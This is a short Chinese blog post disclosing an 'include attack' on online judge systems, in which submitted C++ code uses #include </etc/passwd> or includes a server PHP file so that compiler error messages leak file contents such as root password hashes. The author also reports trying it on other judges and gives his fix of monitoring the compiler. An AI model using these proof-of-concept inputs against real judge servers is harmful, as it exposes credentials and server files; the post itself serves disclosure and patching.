include 攻击

我们来讲故事……

首先你要知道任何一个Online Judge在评测的时候,肯定是先编译再运行。
然后我们知道程序是不能随便打开文件的。

但是!请注意这个很大的“但是”。编译环节是肯定要打开文件的。比如:
#include <iostream>
int main()
{
    return 0;
}
那么一定要打开iostream文件把文件内容全部贴进来。

这个时候机会来了:
#include </etc/passwd>
int main()
{
    return 0;
}
废话,当然会CE。但是CE的时候编译器会显示错误部分的源代码的对不对?
如果测评时编译环节以root身份运行,就可以套出root密码的hash值。
 
#include </var/www/JudgeOnline/index.php>
int main()
{
    return 0;
}
就可以套出网页源代码的前几个字节。(当然这个没多大用啦……因为php代码很难被看成C++代码,然后套出来的差不多是"<?php"这样的 = =……)

其实是大约几个星期以前我在写 UOJ的测评的时候发现的这个漏洞。然后试了试其它OJ……有些知名OJ居然直接就中招了……= =……有两个OJ我直接就拿到了root密码的哈希值……
所以我赶紧修补UOJ上的这个漏洞……我的方法是直接把编译器整个监控起来。

唔……我不知道还有多少小OJ存在这个问题?
现在公布出来,写OJ的同仁们发现自己的OJ有这个漏洞的就赶快修补吧 = =……

最后想问一个问题,学黑客技术哪家强?

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值